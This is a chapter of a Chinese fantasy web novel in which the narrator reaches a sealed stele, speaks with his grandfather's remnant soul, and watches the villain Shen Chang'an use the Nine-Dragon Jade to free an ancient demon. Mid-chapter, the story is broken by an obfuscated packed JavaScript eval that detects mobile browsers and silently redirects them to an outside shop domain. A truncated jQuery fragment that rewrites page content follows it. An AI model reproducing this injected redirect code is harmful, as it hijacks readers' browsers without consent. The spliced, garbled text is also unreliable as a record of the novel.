这片天地没有风,没有声音,连脚下的土地都像是死的——踩上去没有弹性,没有尘土飞扬,只有一种诡异的坚实感,仿佛我行走在一块巨大的化石表面。

    天空是永恒的灰白色,没有太阳,没有云朵,找不到任何参照物。如果不是远处那座黑色山峰上的石碑在发光,我甚至无法判断自己是否在前进。

    我走了很久。

    没有时间概念,没有距离感。我只能埋头向前,机械地迈动双腿。脚底磨出了血泡,血泡破了又结痂,结痂了又被磨破。但我不敢停下来,因为我感觉到——那座石碑在召唤我。

    不是声音,不是画面,而是一种更深层的、直抵灵魂的牵引。像是有一根无形的线拴在我的心脏上,另一端系在石碑上,每走一步,那根线就收紧一分。

    不知走了多久,我终于来到了山脚下。

    近距离看,这座山比我想象的更加庞大。通体漆黑,像是用一整块黑曜石雕琢而成,表面光滑如镜,映出我疲惫不堪的倒影。山体上没有一棵树,没有一株草,没有任何生命的痕迹。

    石碑矗立在山顶,高约十丈,宽约三丈,通体呈深灰色,表面布满了密密麻麻的符文。那些符文我不认识,但当我凝视它们的时候,它们会自动在我脑海中转化为我能理解的意义——

    “天地玄宗,万气本根。九幽之渊,封印凶神。轩辕敕令,永镇此门。后世来人,慎之又慎。”

    这是黄帝亲自刻下的封印咒文。

    我沿着一条蜿蜒的石径向上攀登。石径很窄,只容一人通过,两侧是万丈深渊。走到半山腰的时候,我听到了一种声音。

    像是心跳。

    低沉而有力的心跳声,从山体内部传来,震动着脚下的岩石,震动着我的骨骼,震动着我的五脏六腑。

    咚——咚——咚——

    每一声都和我自己的心跳重叠在一起,让我的胸口发闷,呼吸越来越困难。

    我捂着胸口,咬着牙,继续向上爬。

    山顶是一个平台,约有一个篮球场大小。石碑矗立在平台正中央,底座是一块巨大的圆形石盘,石盘上刻着九条龙的浮雕,每条龙的嘴里都衔着一个凹槽。

    九个凹槽,正好可以放入九枚玉碎片。

    而现在,九龙玉已经完整,不需要再拆分。

    我走到石碑前,举起九龙玉,准备将它嵌入石碑顶端的凹槽中。

    就在这时候,一个声音从我身后传来。

    “放下。”

    那声音很熟悉。

    我缓缓转过身,看到一个人影从石径的阴影中走了出来。

    他穿着一件灰色的中山装,头发花白,面容清癯,戴着一副老式的圆框眼镜。他的步伐稳健,神态从容,像是一个来公园散步的老人。

    “爷……爷爷?”我的声音在颤抖。

    陈德厚站在我面前,面带微笑,眼神温和而慈祥。

    “冬至,你长大了。”他说。

    我手中的九龙玉差点掉落。

    “你不是我爷爷。”我强迫自己冷静下来,“我亲眼看到他死在青铜塔的爆炸中。你是谁?”

    “我是你爷爷。”老人说,“也不是你爷爷。”

    “什么意思?”

    “我是你爷爷留在这枚九龙玉中的一缕残魂。”老人指了指我手中的玉符,“他在临终前,将自己的部分意识和记忆注入了玉符之中,以便在最关键的时刻,给你最后的指引。”

    “我不信。”我摇头,“你在骗我。”

    “你三岁那年,发高烧,半夜哭闹不止。你爷爷抱着你在院子里走了整整一夜,给你讲牛郎织女的故事,你才安静下来。”老人缓缓说道,“你七岁那年,偷偷爬上门前的桂花树,下不来了,你爷爷架着梯子把你接下来,罚你抄了十遍《弟子规》。你十三岁那年,在学校和人打架,打破了对方的头,你爷爷赔了人家五千块钱,回来却没打你,只是问你‘打赢了没有’。”

    我的眼眶湿润了。

    这些事情,只有我和爷爷知道。如果眼前的这个人真的是假冒的,他不可能知道得这么详细。

    “爷爷……”我的声音哽咽了。

    “好孩子。”老人走上前,伸手想抚摸我的头,但他的手在触碰到我之前,化作了一团光影,又收了回去,“我只是残魂,无法触碰你。”

    “你真的是爷爷?”

    “如假包换。”老人笑了笑,“时间不多,我长话短说。你现在站的这个地方,就是九婴的封印核心。你手中的九龙玉,既是钥匙,也是锁。将它嵌入石碑,封印就会彻底固化,九婴将永远无法逃脱。”

    “就这么简单?”

    “简单?”老人摇头,“不简单。因为当你将九龙玉嵌入石碑的那一刻,九婴会用尽全力反击。它会侵入你的意识,用你最深的欲望、最恐惧的记忆、最遗憾的过往来攻击你。如果你扛不住,就会被它夺舍,成为它重生的容器。”

    “我能扛住。”

    “你有这个决心很好。”老人欣慰地看着我,“但你要记住,无论你看到什么,听到什么,都不要相信。那都是九婴制造的幻象。你只需要记住一件事——你是谁,你为什么来到这里。”

    “我记住了。”

    “还有一件事。”老人的表情变得严肃,“沈长安没有死。”

    我心头一震:“什么?”

    “他也进入了这片空间。”老人说,“在你之后不久。他手里有一样东西——你父亲的遗物,一枚玉佩,里面也封存着一缕残魂。那缕残魂属于一个比你陈家更古老的守墓家族的后人,他背叛了自己的使命,投靠了九婴。沈长安利用那枚玉佩,也打开了通往这里的门户。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916030|213320||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “他在哪儿?”

    “我不知道。”老人摇头,“但他一定在某个暗处等待着,等待你封印九婴的那一刻,趁机夺取九龙玉。你要小心。”

    “我会的。”

    “好了,我该说的都说完了。”老人的身影开始变得透明,“冬至,爷爷为你感到骄傲。无论结果如何,你都已经做得够好了。”

    “爷爷——”我伸手想抓住他,但手掌穿过了他的身体,只抓到一团空气。

    “去吧。”老人的声音越来越远,“别让爷爷失望。”

    他的身影彻底消散了。

    我站在原地,泪水无声地滑落。但我没有时间悲伤。我擦干眼泪,转身走向石碑。

    就在我举起九龙玉,准备将它嵌入石碑的那一刻,一道人影从侧面冲了出来,狠狠地撞在我身上。

    我猝不及防,被撞飞出去,重重地摔在地上。九龙玉脱手而出,滚落在地面上,发出清脆的响声。

    一个人影扑过去,捡起了九龙玉。

    沈长安。

    他浑身是伤,衣服破烂不堪,左脸上有一道深深的伤口,还在往外渗血。但他的眼睛里燃烧着狂热的光芒,嘴角挂着胜利的笑容。

    “终于……”他握着九龙玉,仰天大笑,“终于到我手里了!”

    “还给我!”我挣扎着爬起来,向他扑去。

    沈长安一脚踹在我胸口,把我踢翻在地。我胸口剧痛,咳出一口血。

    “你以为我会让你破坏我的计划吗?”沈长安居高临下地看着我,“我等这一天,等了三十年。你父亲当年发现了我的企图,想要阻止我,所以我杀了他。你爷爷也察觉到了,所以我设计逼他现身,在青铜塔里解决了他。现在,轮到你了。”

    “你这个疯子……”

    “疯子?”沈长安冷笑,“历史是由胜利者书写的。等我释放了九婴,获得了它的力量,我就是新的世界之主。到时候,没有人会记得你,记得你们陈家,记得那些可笑的牺牲。”

    他转身走向石碑,举起九龙玉,对准了顶端的凹槽。

    “不要——”我嘶吼道。

    但已经来不及了。

    沈长安将九龙玉狠狠地嵌入了石碑。

    一瞬间,天地变色。

    灰白的天空裂开了一道巨大的缝隙,血红色的光芒从裂缝中倾泻而下,照亮了整片大地。地面开始剧烈震动,山体发出轰鸣声,碎石从山顶滚落。

    石碑上的符文开始一个接一个地熄灭,像是多米诺骨牌一样,连锁崩溃。

    石碑内部传来一声沉闷的巨响,像是什么东西断裂了。

    然后,我听到了那个声音。

    不是从外面传来的,而是从我内心深处响起的——一个低沉而威严的声音,古老得像来自时间的起点:

    “吾……终于……自由了……”